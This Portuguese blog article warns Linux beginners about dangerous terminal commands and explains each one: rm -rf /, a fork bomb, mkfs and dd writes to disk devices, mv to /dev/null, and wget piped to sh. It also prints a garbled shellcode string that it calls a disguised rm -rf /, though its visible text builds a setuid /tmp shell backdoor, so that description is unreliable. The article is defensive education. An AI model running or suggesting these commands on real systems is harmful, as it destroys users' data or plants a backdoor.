GNU/Linux: Conheça alguns dos comandos mais perigosos para o GNU/Linux!

Linux pode te auxiliar a ter o domínio de seu computador, mas também pode te prejudicar caso não tenha conhecimento de seus comandos que podem destruir tudo. Por isto sempre leia e saiba o que está fazendo em seu sistema, bem como tio Ben diz ao Peter Parker: “Com grandes poderes, vem grandes responsabilidades”.

— Emanuel Negromonte

Quando se é novo no Linux, frequentemente procuramos obter ajuda de outros e quase a maioria dos conselhos que você receberá será na forma de alguns comandos como ps, top, modprobe, lspci.

Recentemente, aqui mesmo em nosso blog, postamos uma lista com diversos comandos do Terminal GNU/Linux (Para conferir, clique aqui). Não faça de todas instruções como em uma receita de bolo, seguindo a risca sem saber o que está fazendo. Use por exemplo as man pages, elas estão aí para isso (manuais do Linux, em um terminal digite: “man comando”, o manual será mostrado na tela. EX: man mplayer).

Uma ótima dica que deixo para você, é sempre verificar qualquer comando informado em qualquer blog/site na internet. Infelizmente existem alguns “anti-Linux” a serviço do mal, malucos invejosos que tentam enganar novos usuários com dicas e tutoriais falsos, e se você seguir as dicas desses locais e executar esses comandos, perderá todos os seus arquivos, e ninguém será culpado a não ser você. Esteja consciente do que você está fazendo!

Apesar de muitos conhecerem o terminal, acabam não sabendo de todo o seu poder. É possível excluir tudo com apenas um simples comando, visando isto, sito abaixo alguns comandos que jamais deverão ser executados mesmo que por brincadeira (caso queira fazer testes ou brincar com seu terminal, mas que sejam cientes dos riscos) por conta de seu poder de “destruição”. Citarei apenas alguns destes comandos, os considerados TOP da lista, pois existem vários.


rm -rf /

O comando rm -f / apaga tudo que for possível deletar dentro do diretório apontado no final (neste caso o “/”, que é o seu diretório raiz), incluindo arquivos no seu HD e arquivos de mídias removíveis, caso estejam conectados. Fica mais fácil entender este comando por partes:

  • rm – Remove os arquivos que se seguem.
  • -rf – Executa rm recursivamente (apaga todos os arquivos e pastas dentro da pasta especificada) e força que todos os arquivos sejam removidos sem pedir confirmação.
  • / – Diz a rm para começar no diretório root (raiz) que contém todos os arquivos no seu computador e todos os dispositivos de mídia montados, incluindo arquivos compartilhados remotamente e drives removíveis.

Quero deixar claro, que o comado “rm” mesmo acompanhado por “-rf” pode ser utilizado normalmente durante a remoção de diretórios e/ou arquivos, porém o que não se deve fazer é exatamente apontar este comando para a sua raiz “/”.

Algumas outras versão também perigosas:

  • rm -rf .
  • rm -rf *

Pouco conhecimento é bem perigoso.

Como você faria para apagar todos os arquivos ocultos de uma pasta, sabendo que os arquivos ocultos no Linux começam com “.” (ponto)? Você poderia pensar em um comando como esse:

  • rm -rf .*

Porém ao contrário do que muitos possam pensar, esse comando irá apagar todos os arquivos um nível acima do diretório atual.


rm -rf / (Disfarçado)

Navegando pela Web, tanto na Surface (Internet Tradicional), quanto na Deep Web (Páginas não indexadas ou também erroneamente conhecida por “Internet Obscura”), é possível encontrar um trecho de código comum em alguns fóruns, que não passa de um “rm -rf /” disfarçado.

É o mesmo do comando acima descrito, porém escrito em código hexadecimal.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
“x6ex2fx73x68x00x2dx63x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Executando este comando apagará todos os seus arquivos do mesmo jeito como se você tivesse executado rm -rf /


:(){ :|: & };:

Este comando é um Fork Bomb (ou Bomba Garfo). Este comando pode parecer até bonitinho (com essas carinhas “emotions”), mas tome muito cuidado, essa é uma função bash muito perigosa!

Essa linha curta define uma função do shell que cria novas cópias dele mesmo. O processo o replica continuadamente, e suas cópias continuamente replicam eles mesmos (semelhante as atividades de replicação dos Worms), rapidamente tomando todo o tempo do seu Processador e espaço da memória. Isto pode fazer com que o seu computador congele.

Este comando também é caracterizado como um ataque de negação de serviço (denial-of-service).

650x402ximage247.png.pagespeed.gp+jp+jw+pj+js+rj+rp+rw+ri+cp+md.ic.HrvPtfXvjF
Fonte da Imagem:Wikimedia


mkfs.ext4 /dev/sda1

Formata um HD (Disco Rígido).

O comando mkfs.ext4 /dev/sda1 é fácil de entender:

  • mkfs.ext4 — Cria um novo sistema de arquivo ext4 no dispositivo a seguir.
  • /dev/sda1 — Especifica a primeira partição no primeiro HD, que está provavelmente em uso.

Usados em conjunto, este comando é a mesma coisa que executar formatar a partição C: no Windows – que irá limpar os arquivos em sua primeira partição e substituí-los por um novo sistema de arquivos.

Este comando pode vir de outras formas, tais como – mkfs.ext3 / dev/sdb2 formataria a segunda partição do segundo disco rígido com o sistema de arquivos ext3.


“Qualquer comando” > /dev/sda

Escreve diretamente em um HD. A linha de comando “command > /dev/sda” funciona de forma similar ao comando mostrado anteriormente. Ele executa um comando e envia a saída do comando diretamente para o seu primeiro HD, escrevendo (gravando) os dados diretamente no seu HD e danificando o seu sistema de arquivo.

  • command – Executa um comando (pode ser qualquer comando).
  • > Envia a saída do comando para o local a seguir.
  • /dev/sda – Escreve (grava) a saída do comando diretamente no dispositivo do Disco Rígido.

mv /home/seuusuario/* /dev/null

Se você executar o comando acima ele irá mover todos os arquivos dentro do seu diretório home para um buraco-negro, ou seja, para o nada. Em outras palavras, será deletado todos os arquivos dentro da sua pasta pessoal.

  • mv: Mover arquivos
  • /home/seuusuario/*: Diretório do Usuário
  • /dev/null: Nulo, não significa nada.

Este comando também pode ser escrito da seguinte forma:

  • mv ~ /dev/null


wget http://uma_url_qualquer -O- | sh

O comando wget realiza downloads. Porém, existe no fim da linha um “|”, que funciona como redirecionador. Ou seja, ao término do download, ele executará o arquivo baixado. Se o arquivo não for um shell script, OK. Porém se for, ele executará automaticamente na sua máquina, o que é um prato cheio pra fazer um usuário desavisado se dar mal.

  • wget — Baixa um arquivo. (Você também pode ver curl no lugar de wget).
  • http://uma_url_qualquer — Faz o download do arquivo a partir desse local.
  • | — Pipe (envia) a saída do comando wget (o arquivo que você baixou) diretamente para outro comando.
  • sh — Envia o arquivo para o comando sh, que executa-o se ele for um script bash.

dd if=/dev/random of=/dev/sda

Escreve lixo em um disco rígido. A linha dd if=/dev/random of=/dev/sda também vai destruir os dados em um de seus discos rígidos.

  • dd — Realiza cópia de baixo nível de um local para outro.
  • if = /dev/random — use /dev/random (dados aleatórios) como entrada — você também pode ver locais como /dev/zero (zeros),
  • of=/dev/sda — Saída para o primeiro disco rígido, substituindo seu sistema de arquivos com dados aleatórios de lixo.

Lições Que Aprendemos Hoje

  • Lição 1: Cuidado quando utilizar rm -rf
  • Lição 2: Não execute comandos de aparência estranha, obviamente comandos disfarçados que você não entende.
  • Lição 3: As funções Bash são poderosas, mesmo as mais curtas.
  • Lição 4: Cuidado com os comandos que executam diretamente em dispositivos de disco rígido que começam com / dev / sd.
  • Lição 5: Como dito acima, cuidado com a execução de comandos que envolvem dispositivos de disco rígido começando com /dev/sd.
  • Lição 6: O caractere ~ representa sua pasta home e mover coisas para/dev/null destrói elas.
  • Lição 7: Não faça o download ou execute scripts não confiáveis da web.
  • Lição 8: dd copia dados de um local para outro, o que pode ser perigoso se você está copiando diretamente para um dispositivo.

Conclusão

Estas são apenas algumas orientações para que você não seja enganado e pense que o GNU/Linux não presta, ele é muito poderoso e esse poder todo fica ao seu dispôr, por isso lembre-se do conselho do tio Ben Parker.

Se você quiser aprender Linux, conquistar o poder sobre o seu computador, se divertir e ser produtivo, é preciso ter cuidado e compartilhar o seu conhecimento.


Viu algum erro ou gostaria de adicionar alguma sugestão a essa ou outra matéria? Colabore, clique aqui.

Fontes:

Andre H O Santos

Pentester, Especialista em Segurança de Redes e Testes de Invasão, Programador, Consultor e Professor de T.I.. Geek Inveterado, Apaixonado por Segurança da Informação e Louco por GNU/Linux. Dedica grande parte do seu tempo para criar soluções que ajudem dezenas de milhares de pessoas com dicas e artigos em Tecnologia e Segurança da Informação. Possui algumas Certificações em Ethical Hacking, Cabling System, Security+, SIEM Netwitness, SIEM SNYPR Securonix e Proficiência em Soluções de Vulnerability Management da Tenable.

Você pode gostar...

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

seventeen + fourteen =